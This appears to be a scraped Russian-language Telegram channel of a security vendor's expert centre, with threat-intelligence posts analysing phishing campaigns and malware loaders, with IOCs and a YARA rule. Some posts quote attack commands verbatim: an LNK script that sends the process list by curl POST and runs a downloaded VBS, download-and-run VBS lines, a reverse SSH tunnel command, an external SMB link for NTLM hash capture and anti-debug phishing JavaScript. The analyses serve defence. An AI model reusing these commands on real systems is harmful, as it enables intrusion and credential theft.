ESCalator
3.98K subscribers
227 photos
1 video
1 file
95 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
加入频道
СHavocают

Недавно к нам в руки попало фишинговое письмо. Тема письма указана в лучших традициях телефонных спам-звонков, когда вам звонят из ФСБ и пытаются развести на деньги 🥺

Злоумышленники переняли схему: некий Андреев Н. В. запугивает громкими словами и обязует предоставить в срок необходимый перечень документов 😳

По щелчку на документы․zip пользователь перенаправляется на сайт:


hffp[:]//inforussia[.]org/dokumenty.html


Вместо zip-архива по ссылке открывается HTML-страница с HTML smuggling. Внутри находится большой объем данных, которые зашифрованы base64 и add(35). Во избежание детекта внутри HTML-страницы ключевые названия методов обращены в base64-строки. Зашифрованный пейлоад сохраняется как Dokument_FSB.exe.

Внутри находится дроппер. По классике он динамически подтягивает стандартные функции из KERNEL32.DLL для загрузки шеллкода. При этом используется кастомный алгоритм хеширования:


def calc_hash(function: str, init=0x43AB):
calc_hash = init
for i in function:
calc_hash = (ord(i) + 0x7313 * calc_hash) & 0xffffffff
return calc_hash ^ 0xAB98


Но, кроме этого, загружаются такие функции:

• FindResourceW
• LoadResource
• LockResourceA
• SizeofResource
• RtlIpv6StringToAddressA

Эти API используются для расшифровки самого пейлоада. В одном из ресурсов файла лежат IPv6-адреса, разделенные символами 0D 0A. Эти строки считываются в массив строк, затем переводятся в байты при помощи RtlIpv6StringToAddressA. Уже потом полученный массив байт ксорится с огромным ключом-строкой в 0x2710 байт.

Полученный шеллкод понтово запускают в fiber, так же динамически подгружая API для этого. Внутри находится стандартный загрузчик demon Havoc.

IOCs


2a79d641b2c377474ff640343e77517b21a51315c3736966336372b3da8995b1
7c2f59d9790b816cb6f27a796d7c928046519f7429b7d2bbe53c60a7a55e22a7
ac301b7698ac040f219eb8dfb248595a406b075d91f51116ef60d4dd9f5242ad
inforussia[.]org
193.3.23[.]121
46.29.162[.]93


#TI #Phishing #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Полковники пишут первыми! (🔞)

В коллекции вредоносных рассылок от имени правоохранительных органов пополнение.

В сентябре нескольким адресатам было отправлено письмо от «Следственного комитета» с повесткой для вызова на допрос в качестве свидетеля по уголовному делу (скриншот 1).

Сама повестка — это PDF-документ, который при попытке открыть его грустно констатирует, что просмотреть содержимое не получается и нужно скачать Adobe Font Package, чтобы данные отобразились корректно (скриншот 2).

🔗 Ссылка ведет на домен adobe.updatedownloader.com, откуда, если обратиться к нему с российского IP-адреса, действительно скачивается файл с именем:


adobe_PDF_reader_fonts_update_24.2.5_Win_x86-64.exe (bea1dfdae82c67aac7a262c25dffadc0190270e2412db0c051da9ffab8e3a157)


К сожалению, файл представляет собой Medusa Stealer, поэтому прочитать документ так и не получится…

🧐 Если внимательно приглядеться к письму, можно заметить пасхалки — и разоблачить злоумышленников:

В поле отправителя указано [email protected] — это легитимный адрес электронной почты государственного органа, однако письмо не содержит подписи DKIM, позволяющей проверить подлинность отправителя.

Письмо отправлено c IP-адреса, не принадлежащего организации, от имени которой якобы пришла повестка.

«СЛЕДСТВЕННIЙ КОМИТЕТ» в шапке письма.

IOCs

Net:

updatedownloader.com
62.197.48.140
5.42.73.251


Files:

bea1dfdae82c67aac7a262c25dffadc0190270e2412db0c051da9ffab8e3a157
7fa0642a96e8e9a796a4dba55877d1c730c64f257956872c3f6d405417e30024


#ti #phishing #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
К примеру, недавно к нам в SOC попало очередное подозрительно письмо. И мы сразу поняли, что CSR-файл, притаившийся внутри, — совсем не то, чем пытается казаться 👇


$ file notarealname.csr
notarealname.csr: RFC1421 Security Certificate Signing Request, ASCII text, with CRLF, CR line terminators
$ ls -lh notarealname.csr
-rwxrwxrwx 1 user user 7.3M Sep 26 17:35 notarealname.csr


А когда мы заглянули внутрь содержимого этого файла, то сразу заметили, что среди вроде бы хаотичного нагромождения букв, то тут, то там попадаются однотипные строки IDAw, и их там очень много (скриншот 1).

Кажется, Вселенная подает нам какой-то знак 😀.

В чем же тут дело?

Отгадка проста: оказывается, хакеры решили спрятать под видом запроса на сертификат не просто бинарь с малварью, а его HEX-дамп. А так как HEX-дамп исполняемого файла содержит много пробелов и нулей, то и в кодированном виде получается большое число последовательностей IDAw (скриншот 2).

Выводы:

1. Учите и применяйте базу.
2. Обращайте внимание на знаки.
3. Автоматизируйте выявление по известным признакам, если можете 👇

P.S.

Идея для YARA-правила, которое может помочь в выявлении таких подозрительных «запросов на создание сертификатов»:


rule SuspCertificateRequest {
strings:
$begin_1 = "-----BEGIN NEW CERTIFICATE REQUEST-----"
$end_1 = "-----END NEW CERTIFICATE REQUEST-----"
$begin_2 = "-----BEGIN CERTIFICATE REQUEST-----"
$end_2 = "-----END CERTIFICATE REQUEST-----"

condition:
(@end_1[1]-@begin_1[1] > 10240) or (@end_2[1]-@begin_2[1] > 10240)
}


P.P.S

О других способах выявления случаев, когда хакеры маскируют вредоносные файлы под сертификаты, можно почитать в блоге NVISO.

#tips #yara #phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Бесконечная череда переходов ♾️

Довольно часто злоумышленники, отправляя фишинговые ссылки по почте, не прикрепляют их в явном виде к электронному письму, а используют разнообразные техники перенаправления. Подозрительный домен прячется от пользователя и средств защиты, осуществляющих статический анализ ссылок, и увеличивает шансы поймать жертву.

Часто киберпреступники используют один уровень перенаправления с легитимного ресурса на вредоносный. Но нам посчастливилось разобрать кейс, где злоумышленник использовал сразу пять последовательных — и, самое главное, разнообразных — техник перенаправления на вредоносный ресурс.

1️⃣ Перенаправление через TikTok

Ссылка начинается с конструкции:


https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=


TikTok дает возможность поместить в описание профиля (параметр bio_url) ссылки на внешние ресурсы, и перенаправление на них производится по приведенному выше URL-адресу. Кстати, aid=1988 видим не только в рамках исследования этого кейса, но и в отчетах других вендоров. Единственный необязательный параметр в этом запросе — lang, но, видимо, он, так же как и ID, перекочевал и образовал устойчивый префикс в фишинговых кейсах. Это наводит на мысль добавить его в качестве шаблона для средств защиты.

Итак, TikTok вместо смешных рилсов переправляет нас на...

2️⃣ Google AMP


https://www.google.ca/url?q=amp/s/<phishing_url>


Google AMP — средство ускоренного просмотра веб-страниц, поддерживающих ряд специально созданных для этого ускорения ограничений. Примечательно, что страница загружается не с самого домена, на котором она размещена, а из кэша Google. Собственно, первая интересующая нас веб-страница вполне удовлетворяет этим требованиям, поскольку содержит всего несколько строк JavaScript-кода.

3️⃣ Первый подозрительный домен

Содержит следующий код:


<script type="text/javascript">
var firstBase64Url = "aHR0cHM6Ly94LmNvbQ==";
var secondBase64Url = "<Ещё один вредоносный ресурс>";

// Load the first URL for a few seconds
setTimeout(function() {
window.open(atob(firstBase64Url), '_blank');
}, 2000); // 2000 milliseconds = 2 seconds

// After the specified time, load the second URL
setTimeout(function() {
window.location.href = atob(secondBase64Url) + "?qrc=" + window.location.hash.substr(1);
}, 2000); // 2000 milliseconds = 2 seconds
</script>


При выполнении, когда истекает тайм-аут в 2 секунды, открывается новая вкладка с firstBase64Url (как несложно проверить, это https://x.com/, еще один легитимный ресурс), а в открытой вкладке происходит перенаправление на secondBase64Url. Обе техники — открытие новой браузерной вкладки и включение тайм-аута — нужны для усложнения анализа веб-краулерами.

4️⃣ Переход на secondBase64Url

На данном этапе нам встречается использование Cloudflare Turnstile — встраиваемой мини-капчи, не требующей перевода трафика через Cloudflare (пример интерфейса на скриншоте 1). При ручном анализе кода этой страницы мы уже можем распарсить еще один URL-адрес, но, чтобы все-таки совершить переход на него, надо учиться проходить эту капчу.

5️⃣ Традиционный 3XX код ответа страницы

Здесь все просто: на предыдущем этапе URL из кода через стандартный ответ 302 перенаправляет на конечную фишинговую страницу сбора паролей, имитирующую окно авторизации Microsoft Outlook. Ее интерфейс в окне браузера представлен на скриншоте 2.

💁‍♂️ Советы:

При анализе фишингового URL-адреса стоит обратить внимание на покрытие обнаруженных техник против переходов (включение пауз, капч, открытие новых вкладок) имеющимися средствами защиты информации: если используемое СЗИ при автоматическом переходе по ссылке не умеет их обходить, то полезным может оказаться просто их детектирование и блокировка соответствующего почтового сообщения.

Если вы (как пользователь) нажали на подобную ссылку — обратите внимание, насколько часто менялся URL в адресной строке браузера и сколько дополнительных действий было сделано вами и на стороне браузера.

#tip #phishing #web
@ptescalator
Повторите, плохо видно 😳

Недавно группа киберразведки PT ESC обнаружила пример многоступенчатой фишинговой атаки, в которой хакеры сначала пытались завоевать доверие жертвы, а затем заставить запустить полезную нагрузку.

Следите за руками 👐

1️⃣ В конце октября нам попалось письмо, отправленное от имени управления ФСТЭК по СЗФО (скриншот 1).

Во вложении находился скан информационного письма ФСТЭК «О продлении срока действия уровня опасности». Вредоносного содержимого и каких-либо ссылок в нем не было, сам PDF-файл не являлся опасным. А вот качество скана документа оставляло желать лучшего и для визуального ознакомления с требованиями точно не подходило (скриншот 2).

Для отправки письма использовался домен fstec.info, который не является официальным доменом ФСТЭК и зарегистрирован 16 октября 2024 года.

2️⃣ Отложив находку с fstec.info в бэклог для тщательного анализа, через несколько дней мы обнаружили более качественный скан того же документа (скриншот 3), который при ближайшем рассмотрении оказался исполняемым файлом с иконкой PDF.

Этот исполняемый файл запускает сервер UltraVNC с коннектом к узлу toproducts.ru:80, в результате чего создается сессия удаленного управления, к которой может подключится злоумышленник. А для отвлечения внимания запускается тот самый легитимный документ, но уже в улучшенном качестве (скриншот 3).

Скорее всего, злоумышленники используют многоступенчатую технику социальной инженерии: сначала присылают безопасный и трудночитаемый документ, побуждая жертву завязать с ними диалог. А получив кредит доверия, отправляют ей полезную нагрузку.

🤔 Тактики, техники и процедуры этой атаки схожи с теми, что использует группировка PseudoGamaredon (Core Werewolf), но подтверждение требует дальнейших наблюдений.

IOCs


Sender:
[email protected]

Scan.pdf
3b6010acae660c9455154b9b847c5b12
0f37bf48736fa806112d0413f42840bbdb75e378
d4878ba0cad42eb7ec012b9f71faa49e0ef2ac48665dbaaec627b603639fc2e7

исх 1-2090 от 15-10-2024_О продлении.exe
e77ab4faa8632a184a1d9e6ea9e6459d
65a538ee9f0e59495281661ee4c68dd08f339d5f
66a3a8cab5d3a88fb1e854f69178b9468cfa4ec49d1b6ba3d4f6d190e57c85a5

Domains:
toproducts.ru:80
fstec.info


#TI #phishing #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Прием, прием, нас слышно? 😲

Несмотря на то что хакеры в последнее время обленились и все чаще не разрабатывают ничего своего, изредка все же встречаются оригинальные идеи атак.

В архиве с громким названием 1С_модуль_заказа_дрон-v11.zip лежит файлик СВЯЗЬ РЭБ список Гум.exe со знакомым всем желтым значком «1С». При запуске файла пользователь видит стандартное окно загрузки «1C:Enterprise 8.3» с последующим открытием базы данных (скриншот 1).

🎇 Не будем вестись на яркие картинки и копнем глубже. При помощи sfextract потрошим .NET-установщик. Среди распакованных файлов находим 1C_Module.dll с подозрительно объемными ресурсами.

Библиотека содержит огромное количество легитимных классов «1С», и сам файл с первого взгляда выглядит как легитимный модуль. Но при поиске точек взаимодействия с ресурсами находим пропатченный класс \_1CManifestDelegateRunner.

В методе InitManifest расшифровывают ресурс _1C_Module.tmp и сохраняют его в папке temp. Расшифровываемый файл оказывается Go-дроппером, который расшифровывает 2️⃣3️⃣ файла. Среди них:

📏 10 исполняемых файлов
📏 6 скриптов
📏 7 файлов ресурсов и конфигов

Большинство файлов — это полный набор для настройки SSH-соединения, публичные и приватные ключи и конфиги. Скрипты выполняют следующие действия:

📏 Создают нового юзера с кредами:


$sshUserName = "config"
$sshUserPass = "[REDACTED]"


📏 Копируют все файлы в папку C:\Program Files\System Event Service
📏 Запускают SSHD и ssh-agent, настроив публичный и приватный ключ
📏 Запускают ntrights с параметрами -u "NT SERVICE\SSHD" +r SeAssignPrimaryTokenPrivilege
📏 Запускают таинственный файл shh-tunnel.exe или же впоследствии переименование — syseventservice-update.exe

На последнем пункте остановимся поподробнее, так как shh-tunnel.exe не является частью стандартного SSH. Этот экзешник написан на Go и представляет собой инструмент для установки туннеля, названный нами Go2Tunnel. Он вытаскивает из рядом лежащего конфига ssh_tunnel_config (или syseventservice-update_config) порты для создания туннеля:


C:\\Program Files\\System Event Service\\ssh.exe -R <ServerTunnelPort> :127.0.0.1:22 -N -T -i \"C:\\Program Files\\System Event Service\\event-server\" -o StrictHostKeyChecking=no -o ExitOnForwardFailure=yes -o ServerAliveInterval=45 -p<ServerSshPort> <ServerUserLogin>@<serverHostname>


В случае когда serverTunnelPort не указан, выполняется POST-запрос по следующему адресу:


http://<serverHostname>:<ServerWebPort>/tunnel/register


😌🐱🐱

Сам Go2Tunnel после создания туннеля только спит и ест и проверяет, работает ли сервер, при помощи команды ps1:


-Command "Get-NetTCPConnection -RemoteAddress <serverHostname> -RemotePort <ServerSshPort> -State Established -OwningProcess <sshProcess_Pid>"


Если ответа нет, то SSH-процесс прерывают, делают резолв адреса из конфига и заново запускают туннель.

🎇 IoCs:


15b3dcd795d417c69a627e13382800cc0cf005e9f5d0345e22a02f460b052ea1
2de2c9ab37ce5abfcd7e9018b1cb00066209b0b9ecdf70249148f53389dca5b1
5faa4da85e2657682fd40f5a86d61e87a3e70c3dff81335f226437c755a89f4a
6aa1fc0c2b7a01952b92e7af4f69fc602d34da95a872c57e7cfe34e918086c89
957a9705b200cd0f059d62d7b21e97db260b9b6c0c5ddf20c38d236103cb799b
fac77b7f1150c00dd5ca9da0f93e2f073a7eb70e2f4fd82a267afbc938a6e175
16.16.179.83
5.252.22.10


#TI #phishing #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
PrevedMedved 👋 — это снова Lumma Stealer

В середине ноября группа киберразведки PT ESC зафиксировала кампанию по распространению вредоносного программного обеспечения Lumma Stealer и NetSupport RAT. В качестве источника заражения использовался GitHub-репозиторий, доступный по адресу github.com/NonaDoc/Nonadoc/releases/tag/defi_prive.

Вредоносный контент находился в разделе tag, в то время как основная ветка репозитория была удалена. Учетная запись GitHub, используемая для размещения материалов, зарегистрирована под именем prevedmedved6724993 и связана с почтовым адресом [email protected].

🧤 В ходе анализа репозитория было замечено, что размещенные приманки и вредоносные файлы регулярно заменяются новыми (скриншот 5). Средняя частота обновления составляет около одной недели. Злоумышленники делают упор на использование фишинговых файлов-ловушек, мимикрирующих под документы различных организаций.

Первым к нам в руки попал LNK-файл Anketa_energosale.docx.lnk (скриншот 1), хранящийся на сайте energosale34.download. После запуска файл устанавливает Lumma Stealer из вышеупомянутого GitHub-репозитория и NetSupport RAT с С2-сервера злоумышленника для закрепления на устройстве жертвы. Фишинговый документ Anketa_energosale.docx (скриншот 3), якобы связанный с организацией «Волгоградэнергосбыт», был доступен для загрузки из того же репозитория.

🫡 В процессе изучения атаки выявлены и другие схемы, где вместо фишингового документа рассылался, например, файл, замаскированный под повестку в военкомат (скриншот 2). LNK-файл povestka_378478112.pdf.lnk хранился на узле 80.78.27.201, а сопутствующие файлы, включая вредоносное ПО и приманки, также размещались в GitHub-репозитории.

Примечательно, что автором всех документов-приманок в метаданных указана Галлямова Римма Абдулнуровна. Это может быть попыткой отвлечь внимание или дополнительной частью фишинговой стратегии.

Согласно данным VirusTotal, семплы Lumma Stealer определяются как вредоносные лишь тремя антивирусными решениями. Этот факт свидетельствует о высоком уровне обфускации и уникальности вредоносного ПО — большинству систем защиты трудно его обнаружить.

Атаки проводились на протяжении всего ноября. Злоумышленники активно обновляют свои инструменты, в том числе вредоносные файлы и приманки, а мы продолжаем мониторинг. Подобная схема распространения ВПО уже была описана ранее, но не затрагивала пользователей из стран СНГ.

IoCs:

LNK-файл:
90301696accc600a3fc2a1419d0c73566a19f42424d2da6e6f215a83ba3895e6
68d0373fc7fcd74d7379f8175a894194ac285f98810359a7f48978ef15f5283e
96bd372f8a4e39e0e6e629994a2b284432c9e5a0a48e1f46100a0a6b0ce349bd
989dd914ccbd2df2a36f0500d0bdac9e286cdf39d53ab72d18f11bc726a692e8

Lumma Stealer:
26be491b59e98932bf12985cd6a24d5a0be33ee92767b19b41fe2917deb96f79
8762d87be2998ca50229e9b51a2a7700bbb1fd75b99864d05b4d630a5e091014
b0d738f7003d5bb5d7c5d0dc9441e45367fad635cbf505f129df48f8155e38a2
61e985cf63a414c5db76d1f57d9801e6d7dba106e8a8dc73ad29b53044c3c68f

NetSupport RAT:
860393e31788499f8774be83c65bcf29658cc77bf96ee2f4c86b065aedbf77de
176f7e61d26c33df91425f063c6494d6cd63f4de2654de3d72158a272bb03ae5

Файлы:
Anketa_energosale.docx.lnk
povestka_378478112.pdf.lnk
Anketa_energosale.docx.lnk
520a7afb8367e14661b412c65b9a805d.virus
Anketa_energosale[1]
poqexec.exe
Povestka_34.png
Anketa1
anketa_miner[1]

Домены:
energosale34.download
yiars.com
thisbusylife.com
abxweb.com
pdfbypari.com
kokachi.com
kokachi334.com

URL:
https://github.com/NonaDoc/Nonadoc/releases/tag/defi_prive

IP-адреса:
94.232.43.219
80.78.27.201
80.78.24.5

Метаданные:
dc:creator: «Галлямова Римма Абдулнуровна»

Эл. почта:
[email protected]


#TI #Phishing #Malware #IOC
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Лок'тар огар! 👺

В современном мире атаки, направленные на получение первоначального доступа, стали более сложными. Злоумышленники используют многоступенчатую полезную нагрузку, что позволяет им постепенно продвигаться к своей цели, не вызывая подозрений, и увеличивает шансы на успех атаки.

Одним из наиболее популярных механизмов для инициации такой атаки являются LNK-файлы. При их запуске начинается выполнение цепочки скриптов, каждый из которых запускает следующий элемент цепочки, скачивая его с удаленного узла или распаковывая из собственных ресурсов.

🔗 В качестве характерного примера рассмотрим одну такую цепочку. Наше внимание она привлекла несколькими факторами:

1️⃣ Использование легитимного ресурса как хоста для полезной нагрузки.

2️⃣ Использование необычного фреймворка в качестве полезной нагрузки (необычного в том смысле, что до этого мы ни разу не видели его в атаках).

В ходе исследования наш отдел нашел ZIP-архив — вложение для фишингового письма, представленного на скриншоте выше. Внутри — два документа и LNK-файл со скриптом. Содержимое скрипта показано ниже (домен, с которого скачивалась нагрузка, намерено изменен):

"C:\Windows\System32\conhost.exe"
conhost conhost cmd /c expand C:\Windows\system32\curl.exe C:\Users\public\Downloads\cl.exe & tasklist |
curl -k -X POST --data-binary @- -A "PLMN ~%date% ~%time%" https://example.com -o C:\Users\public\Downloads\No15.vbs
&& wscript C:\Users\public\Downloads\No15.vbs


Любопытно, что полезная нагрузка скачивается с легитимного домена российской образовательной организации. По всей видимости, злоумышленники заранее взломали учреждение и начали использовать его ресурсы для своих атак.

🕵️‍♂️ Цепочка атаки раскрывается следующим образом:

-> LNK-файл.
-> Скрипт No15.vbs. Он собирает сведения об установленных антивирусах и скачивает .exe. Код скрипта:

Set oj = CreateObject("WScript.Shell")
oj.Run "cmd /c curl -k https://example.com
fileid=PLMN -o C:\Windows\temp\2024_Determination_to_initiate_a_case.docx
C:\Windows\temp\2024_Determination_to_initiate_a_case.docx", 0, False
oj.Run "cmd /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
C:\Users\Public\Downloads\cl.exe -k -X POST --data-binary @- https://example.com
get=1PLMN1731912032 -o C:\Users\public\Downloads\libPLMN1731912032.exe",0,True
oj.Run "C:\Users\public\Downloads\libPLMN1731912032.exe"


-> libPLMN1731912032.exe — исполняемый файл, написанный на языке Go, сборка пакета которого имеет название Pinocchio. Именно этот бинарь и является сборкой клиента (в терминологии проекта — puppet) OrcaC2.

🧐 Далее приведем описание основной функциональности:

• Удаленное выполнение команд.
• Загрузка и выгрузка файлов.
• Кейлоггер + снятие скриншотов экрана.
• Прямой и обратный прокси-сервер.
• Коммуникация через WebSocket.

На самом деле возможностей у OrcaC2 куда больше. Подробный список можно найти в GitHub-репозитории проекта (осторожно, README написан на китайском языке).

Сам же фреймворк разделяется на три «модуля»:

Puppet — клиентская часть, запускается на устройстве жертвы.
Master — подключается к серверу, через него управляет клиентами.
Server — связующее звено между Pupper и Master.

IoCs:

46c0fd35e4699265db0223cee00b3da48ec157e2d7a51590c87b077918f76d5b — ZIP-архив.
88aa1bd65a6ff5d92ac7041e9685c20e08286709971881660df9c0f4a04c06db — LNK-файл.
0ed459cf2682b12d95613ca8f1f1b9d71bcc529c681f8a2a0ec347bba7d8f4b6 — скрипт No15.vbs.
601f00162583c82d933ad27ec6b3f900d2efde81a1f4cf3724e5cfc4875305cb — libPLMN1731912032.exe.
http://45.147.200.38:443 — C2-сервер.


#hacktool #phishing #ioc #C2
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Ваш хеш, пожалуйста… Спасибо! 🙏

В начале января мы обнаружили файл, который привлек внимание своим содержанием и структурой. Исследование метаданных документа, а также используемых техник соединения с сервером по протоколу SMB через DOCX-файлы позволило установить связь с хакерской группировкой PhaseShifters. Информацию о ней мы публиковали в статье в ноябре 2024 года (рисунок 1). В этой статье также подробно описаны взаимосвязи с группировкой UAC-0050, о которой пойдет речь далее.

🆕 С2-сервер новый, подход старый

Первый файл, про который хочется поговорить, — декой. Он содержит фотографию (рисунок 2) документа, якобы принадлежащего одной компании в сфере военно-промышленного комплекса (создание БПЛА).

Как и в предыдущих атаках, внутри документа есть ссылка-шаблон, с помощью которой происходит получение хеш-сумм NTLM пользователя. Такая техника называется Forced Authentication: посредством шаблона или взаимосвязей с внешними сущностями устройство устанавливает соединение с сервером злоумышленников по протоколу SMB, из-за чего Windows автоматически пытается провести аутентификацию на этом ресурсе.

В файле присутствует обращение к SMB-ресурсу на внешнем сервере 45.155.249.126. Активность сервера наблюдается с ноября 2024 года, соединение происходит через механизм связей (relations) частей WordprocessingML-документа:

<ns0:Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="file://\\45.155.249.126\19i6LJ4qNx81SkAFg4mtUbf5.png" TargetMode="External" /></ns0:Relationships>


👤 Поискав другие файлы, связанные с этим IP-адресом, мы выявили еще несколько документов-приманок для атак на организации (рисунки 3–5). Кроме того, стоит отметить важную деталь: в метаданных указано имя пользователя, создавшего или последним изменившего документ, — kib vol.

Наличие связи с внешним SMB-сервером, а также уникальные метаданные позволили зацепиться за еще один файл, который, в свою очередь, связывался с другим IP-адресом (31.214.157.167) злоумышленников — АО-******- -12904ДО.docx. Этот документ был задействован в атаках с использованием Ozone RAT и Darktrack RAT, которые также описаны у нас в статье (рисунок 1).

Просмотрев подсеть 31.214.157.0/24, можно определить как минимум еще один IP-адрес, который замечен в подобных инцидентах, — 31.214.157.49. Этот сервер задействовался в атаках как PhaseShifters (например, ГВПК ответ цифровому развитию.docx), так и UAC-0050 (с использованием домена tax-gov-ua.com). Напомним, что сходства этих двух группировок все еще требуется тщательно исследовать.

IoCs

С2-серверы:

45.155.249.126
31.214.157.167
31.214.157.49


SHA-256:

3172bf0dd76232fc633214f0ba92b25d27b136a2ed5d9e4e7d06b0686ef4d34c
3eca76737c6aee34b4c38845fde13bceed23a31d39e958893a44f42380ff84d5
fd50307b7f08d037c5d37f2505c8de6edc9c57e1843f4434309a135f4b43ff5c
5061e83a380a9c3ebe91bd5de80fe8f11b666a182efbebe13a1b0dfbc2842487


#TI #C2 #ioc #Phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Как давно ты реверсил JavaScript? 😲

Продолжая тему фишинга (ранее мы смотрели на таргетированные подозрительные документы, приводящие к получению первоначального доступа или сбору NTLM-хешей), хотим показать примеры свежих атак, направленных на массового пользователя, привыкшего пользоваться продуктами известной компании Microsoft.

Посмотрим, как злоумышленники генерируют поддельные HTML-страницы, мимикрирующие под формы ввода аутентификационных данных, с точки зрения JavaScript-кода и применяемых техник обфускации, и даже найдем интересные пасхалки от фишеров.

1️⃣ Первый пример

Самым примитивным примером из сегодняшней подборки является использование конструкции:

document.write(unescape(atob(


Внутри нее зашит внешний подгружаемый скрипт flyit.com.ar/wp-includes/certificates/js_host/outlk.js, который содержит в себе jQuery библиотеку и дополнительный код, отправляющий на campusmin.sitb.edu.ar/completion/classes/php_host/_xls3.php?_do=xxx_form креды пользователя.

Минутка ликбеза: функция atob позволяет декодировать base64-строку, а document.write записывает содержимое аргумента в DOM активной страницы, подменяя ее текущее содержимое. В данном случае обфускация минимальная — в основном используется только сжатие (минификация).

2️⃣ Второй пример

Это более интересный пример, поскольку он содержит много обфусцированного кода. Передаваемая пользователю HTML-страничка содержит только обфусцированный скрипт, который исполняется уже на стороне браузера.

Бесплатные деобфускаторы не справляются с преобразованием кода, поэтому прибегнем к ручному реверсу JavaScript: используемые выделенные функции, методы atob и document.write формируют веб-страницу, которая впоследствии подгружает скрипт с 7354770595-1323985617.cos.ap-seoul.myqcloud.com/attach%2Fbootstrap.min.js (обфусцирован с помощью бесплатного сервиса obfuscator.io), где как раз и содержится сбор кредов пользователя. Затем логин и пароль отправляются на C2 злоумышленников — miguel.uscourtaccess.com/next.php.

Сможете найти пасхалочки на скрине? 😏

3️⃣ Третий пример

В третьем случае для формирования поддельной страницы, представляющую собой брендированную версию стандартной формы ввода аутентификационных данных, используется фишинговый набор WikiKit. Он получил свое название за перенаправления на Википедию в случае отключенного в браузере JavaScript или недействительной фишинговой ссылки. Этот скрипт блокирует использование отладочных средств (хотя обойти их в целом несложно), а собранные данные отправляются на cotceur.com.

Какие у нас рекомендации? 🧐

Кроме «не открывать файлы из подозрительных писем», что кажется неактуальным для этого канала (нам же наоборот интересно их открыть), приведем ряд простых, но важных поинтов, на которые точно стоит обращать внимание при анализе веб-страниц:

на вкладке Network браузера проверяйте origin подгружаемых дополнительных ресурсов, все-таки jQuery лучше получать с легитимного домена jQuery или известного CDN.

использование функции atob (декодирование base64), еще и с

aHR0cHM6
aHR0cDo


внутри (в результате декодирования получается https: или http:) — поистине страшная смесь! А если добавить к этому document.write (добавления контента в html-документ) и unescape (устаревший метод для декодирования URI) — это точно редфлаг 🚩

антидебаггинг, конечно, используется в легитимных целях, но очень редко: стоит задуматься, если встречаете его (эти техники, кстати, можно обойти довольно легко — к примеру, в случае третьего фишинга использовать не горячие клавиши вроде F12 или Ctrl+Shift+i, а вручную открыть инструменты в настройках или записать трафик).

💡 Хотим отметить, что не стоит видеть подозрительность везде — например, сжатие кода и популярные виды обфускации часто используют в легитимных проектах! Решили поразбирать JS-код сами just for run и увидели странный POST-запрос? Будем верить, что вы указали фальшивый пароль 🤞🏻

Happy hunting!

#hunt #network #phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Двигайся, как вода. Замирай, как зеркало. Отвечай, как эхо... 🪞

В этом посте расскажем об одном обнаруженном экземпляре фишинговой страницы. Он примечателен тем, что в нем используются приемы противодействия автоматизированному и ручному анализу, а в коде содержатся пасхалки.

Достав смартфон и перейдя по ссылке. Атака начинается с фишингового письма, в котором URL-ссылка помещена в виде QR-кода (видно на скриншоте). При переходе по ссылке происходит выполнение JavaScript-кода, который запускает проверку фиктивных условий и загружает другой HTML-код через запуск document.write().

Содержимое HTML-кода раскодируется через комбинацию запусков функций atob (Base64-декодирование), escape (кодирование символов в HTML-сущности) и decodeURIComponent (декодирование из percent-кодирования). О подобной технике, когда для подгрузки страницы используется комбинация (де)кодирований, мы уже рассказывали в одном из предыдущих постов.

document.write(decodeURIComponent(unescape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxt...


🧐 Интересной находкой в подгруженной HTML-странице оказалось наличие нижеприведенной функции. При анализе JavaScript-кода в интерпретаторе или через инструменты разработчика в браузере функция вызывает запуск дебаггера и приостанавливает выполнение кода; при этом его запуск не осуществляется при обычной загрузке веб-страницы в браузере.

Таким образом, обернув запуск дебаггера в два performance-метода и посчитав время выполнения этого участка кода, функция принимает решение о перенаправлении на легитимную страницу, если данное время превысило 100 миллисекунд — такой вот встроенный антидебаггер в фишинговой странице от ручного анализа кода страницы.

(function zjXTcdfpRH() {
let TUUFRqHXUc = false;
const lPOfbBRoMU = 100;
setInterval(function() {
const nzBpzARgyq = performance.now();
debugger;
const Mhaorlnpom = performance.now();
if (Mhaorlnpom - nzBpzARgyq > lPOfbBRoMU && !TUUFRqHXUc) {
TIxhHrwbpI = true;
TUUFRqHXUc = true;
window.location.replace('https://www.walmart.com');
}
}, 100);
})();


От непосредственной формы сбора паролей нас отделил только запуск Cloudflare Turnstile — частый гость на фишинговых страницах для противодействия получения контента автоматизированными средствами наподобие веб-краулеров.

Советы 🧞

При исследовании кода фишинговых страниц можно обнаружить разные техники противодействия ручному и автоматизированному анализу. Даже если инструменты или средства защиты не могут обходить эти техники, упрощение правил обнаружения может помочь защитить пользователей от угроз.

Фраза, найденная в начале кода фишинговой страницы, — «The successful warrior is the average man, with laser-like focus © Брюс Ли» — должна напомнить всем исследователям о важности упорства и концентрации в борьбе с фишинговыми угрозами и в получении нового знания.

#TI #phishing #tips
@ptescalator
Please open Telegram to view this post
